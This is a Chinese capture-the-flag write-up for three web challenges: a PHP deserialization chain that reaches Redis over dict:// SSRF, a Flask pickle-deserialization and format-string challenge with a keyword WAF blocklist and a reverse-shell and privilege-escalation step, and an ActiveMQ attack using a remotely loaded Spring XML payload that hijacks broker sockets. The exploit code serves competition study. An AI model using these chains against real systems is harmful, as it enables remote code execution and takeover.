ezezez_php 考点:Redis主从复制 rce、SSRF 这一题没环境复现了,直接发一下mochu的exp,这题我也没打,因为都在看ActiveMQ那道题,还没解出来是最草的,我太菜了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 <?php class Rd { public $ending ; public $cl ; public $poc ; public function __destruct ( ) { } public function __call ($name , $arg ) { foreach ($arg as $key => $value ) { if ($arg [0 ]['POC' ] == "0.o" ) { $this ->cl->var1 = "get" ; } } } } class Poc { public $payload ; public $fun ; public function __set ($name , $value ) { $this ->payload = $name ; $this ->fun = $value ; } function getflag ($paylaod ) { echo "Have you genuinely accomplished what you set out to do?" ."</br>" ; file_get_contents ($paylaod ); } } class Er { public $symbol ; public $Flag ; public function __construct ( ) { $this ->symbol = True; } public function __set ($name , $value ) { if (preg_match ('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/' ,base64_decode ($this ->Flag))){ $value ($this ->Flag); } else { echo "NoNoNo,please you can look hint.php" ."</br>" ; } } } class Ha { public $start ; public $start1 ; public $start2 ; public function __construct ( ) { } public function __destruct ( ) { if ($this ->start2 === "o.0" ) { $this ->start1->Love ($this ->start); } } } function get ($url ) { } $payload = "dict://127.0.0.1:6379/system.exec:env" ;$Er = new Er ();$Er -> Flag = base64_encode ($payload );$Rd = new Rd ();$Rd -> cl = $Er ;$Ha = new Ha ();$Ha -> start = ['POC' =>'0.o' ];$Ha -> start1 = $Rd ;$Ha -> start2 = 'o.0' ;echo (serialize ($Ha )); ?>
picup 考点:pickle反序列化、格式化字符串、任意文件读取 一个套题,题目源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 import osimport pickleimport base64import hashlibfrom flask import Flask,request,session,render_template,redirectfrom Users import Usersfrom waf import wafusers=Users() app=Flask(__name__) app.template_folder="./" app.secret_key=users.passwords['admin' ]=hashlib.md5(os.urandom(32 )).hexdigest() @app.route('/' ,methods=['GET' ,'POST' ] ) @app.route('/index.php' ,methods=['GET' ,'POST' ] ) def index (): if not session or not session.get('username' ): return redirect("login.php" ) if request.method=="POST" and 'file' in request.files and (filename:=waf(request.files['file' ])): filepath=os.path.join("./uploads" ,filename) request.files['file' ].save(filepath) return "File upload success! Path: <a href='pic.php?pic=" +filename+"'>" +filepath+"</a>." return render_template("index.html" ) @app.route('/login.php' ,methods=['GET' ,'POST' ] ) def login (): if request.method=="POST" and (username:=request.form.get('username' )) and (password:=request.form.get('password' )): if type (username)==str and type (password)==str and users.login(username,password): session['username' ]=username return "Login success! <a href='/'>Click here to redirect.</a>" else : return "Login fail!" return render_template("login.html" ) @app.route('/register.php' ,methods=['GET' ,'POST' ] ) def register (): if request.method=="POST" and (username:=request.form.get('username' )) and (password:=request.form.get('password' )): if type (username)==str and type (password)==str and not username.isnumeric() and users.register(username,password): return "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}." .format (username=username).format (users=users) else : return "Register fail!" return render_template("register.html" ) @app.route('/pic.php' ,methods=['GET' ,'POST' ] ) def pic (): if not session or not session.get('username' ): return redirect("login.php" ) if (pic:=request.args.get('pic' )) and os.path.isfile(filepath:="./uploads/" +pic.replace("../" ,"" )): if session.get('username' )=="admin" : return pickle.load(open (filepath,"rb" )) else : return '''<img src="data:image/png;base64,''' +base64.b64encode(open (filepath,"rb" ).read()).decode()+'''">''' res="<h1>files in ./uploads/</h1><br>" for f in os.listdir("./uploads" ): res+="<a href='pic.php?pic=" +f+"'>./uploads/" +f+"</a><br>" return res if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 )
waf.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import osfrom werkzeug.utils import secure_filenamedef waf (content ): if len (content)>=70 : return False for b in [b"\n" ,b"\r" ,b"\\" ,b"base" ,b"builtin" ,b"code" ,b"command" ,b"eval" ,b"exec" ,b"flag" ,b"global" ,b"os" ,b"output" ,b"popen" ,b"pty" ,b"repeat" ,b"run" ,b"setstate" ,b"spawn" ,b"subprocess" ,b"sys" ,b"system" ,b"timeit" ]: if b in content: return False return secure_filename(content.filename)
首先是任意文件读取才可以读到源码,要双写绕过一下。之后可以发现有个session伪造、格式化字符串、pickle反序列化,一系列的叠加态,是一个不折不扣的套题。 至于绕过waf这里有2点,第一点是怎么绕过换行符,pickle.load
有一个protocol选项,我们将其设置为4就不会出现换行,那么第二个点就是绕过关键字的问题,常规的os库,eval、exec都被ban了,这个时候也其实没啥问题,因为我们是flask框架,有render_template函数,所以exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import picklefrom waf import waffrom flask import render_templateclass Person (object ): def __init__ (self, username, password ): self.username = username self.password = password def __reduce__ (self ): return (render_template, ('./uploads/l' ,)) admin = Person('admin' , '123456' ) result = pickle.dumps(admin,protocol=4 ) print (result)print (len (result))code=b'\x80\x04\x955\x00\x00\x00\x00\x00\x00\x00\x8c\x10flask.templating\x94\x8c\x0frender_template\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.' with open ('data.pkl' , 'wb' ) as file: file.write(result)
格式化字符串漏洞在注册阶段,直接{users.passwords}
就可以看到管理员密码
上传文件的内容也很简单,就设置一个模板语法反弹个shell,之后靶机有个clear.sh,是root权限运行的,我们修改一下文件内容,就可以提权得到flag
Active-Takeaway 考点:ActiveMQ打consumer 参考文章:https://www.yulegeyu.com/ 不知道为啥没搜到这文章,我科学上网出问题了怎么办 漏洞点很简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 package com.example.customer.controller;import com.example.customer.entity.OrderEntity;import com.example.customer.service.FoodService;import java.lang.reflect.InvocationTargetException;import java.util.List;import javax.annotation.Resource;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PathVariable;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController;@RestController @RequestMapping({"/api"}) public class OrderController { @Resource private FoodService foodService; public OrderController () { } @GetMapping({"/listorders"}) public List<OrderEntity> listOrders () { return this .foodService.listOrders(); } @GetMapping({"/makeorder"}) public Long makeOrder () { return this .foodService.order(); } @GetMapping({"/take/{id}"}) public Long take (@PathVariable Long id) { return this .foodService.take(id); } @GetMapping({"/orderstatus/{id}"}) public OrderEntity orderStatus (@PathVariable Long id) { return this .foodService.orderStatus(id); } @PostMapping({"/changefood"}) public String change (@RequestParam String foodServiceClassName, @RequestParam String name) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException { Class foodServiceClass; try { foodServiceClass = Class.forName(foodServiceClassName); } catch (ClassNotFoundException var5) { foodServiceClass = Class.forName("com.example.customer.service.IronBeefNoodleService" ); } this .foodService = (FoodService)foodServiceClass.getDeclaredConstructor(String.class).newInstance(name); return "Changed to " + foodServiceClassName + " with name " + name; } }
changefood有个任意类实例化的点位,但是需要绕过一下filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package com.example.customer.filter;import java.io.IOException;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.annotation.WebFilter;import javax.servlet.http.HttpServletRequest;@WebFilter( filterName = "customerFilter", urlPatterns = {"/api/*"} ) public class CustomerFilter implements Filter { public CustomerFilter () { } public void init (FilterConfig filterConfig) throws ServletException { super .init(filterConfig); } public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String uri = ((HttpServletRequest)request).getRequestURI().replaceAll("/api" , "" ); String endpoint = uri.replaceAll("/" , "" ); if (endpoint.equalsIgnoreCase("changefood" )) { response.getWriter().write("Under construction..." ); } else { chain.doFilter(request, response); } } public void destroy () { super .destroy(); } }
我们最终触发的url是xxx/api/changefood;?foodServiceClassName=org.springframework.context.support.ClassPathXmlApplicationContext&name=http://xxxxx
POC长这个样子
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:context ="http://www.springframework.org/schema/context" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd" > <context:property-placeholder ignore-resource-not-found ="false" ignore-unresolvable ="false" /> <bean class ="java.lang.String" > <property name ="String" value ="#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval(" function getunsafe() {var unsafe = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');unsafe.setAccessible(true);return unsafe.get(null);} var unsafe = getunsafe(); brokerRegistry = org.apache.activemq.broker.BrokerRegistry.getInstance();brokers = brokerRegistry.getBrokers();for(key in brokers){ brokerService = brokers.get(key); try{ f = brokerService.getClass().getDeclaredField('shutdownHook'); }catch(e){f = brokerService.getClass().getSuperclass().getDeclaredField('shutdownHook');} f.setAccessible(true); shutdownHook = f.get(brokerService); threadGroup = shutdownHook.getThreadGroup(); f = threadGroup.getClass().getDeclaredField('threads'); threads = unsafe.getObject(threadGroup, unsafe.objectFieldOffset(f)); for(key in threads){ thread = threads[key]; if(thread == null){ continue; } threadName = thread.getName(); if(threadName.startsWith('ActiveMQ Transport: ')){ f = thread.getClass().getDeclaredField('target'); tcpTransport = unsafe.getObject(thread, unsafe.objectFieldOffset(f)); f = tcpTransport.getClass().getDeclaredField('socket'); f.setAccessible(true); socket = f.get(tcpTransport); bos = new java.io.ByteArrayOutputStream(); dataOutput = new java.io.DataOutputStream(bos); dataOutput.writeInt(1); dataOutput.writeByte(31); bs = new org.apache.activemq.openwire.BooleanStream(); bs.writeBoolean(true); bs.writeBoolean(true); bs.writeBoolean(true); bs.writeBoolean(false); bs.writeBoolean(true); bs.writeBoolean(false); bs.marshal(dataOutput); dataOutput.writeUTF('bb'); dataOutput.writeUTF('aa'); dataOutput.writeUTF('org.springframework.context.support.ClassPathXmlApplicationContext'); dataOutput.writeUTF('http://localhost:8000/dddd'); dataOutput.writeShort(0); socketOutputStream = socket.getOutputStream(); socketOutputStream.write(bos.toByteArray()); } } }" )}" /> </bean > </beans >
这个先让外层的broker执行这段代码,然后这段代码中SPEL部分会劫持consumer和server的交互信息,从而让consumer也受到攻击从而RCE获取root权限。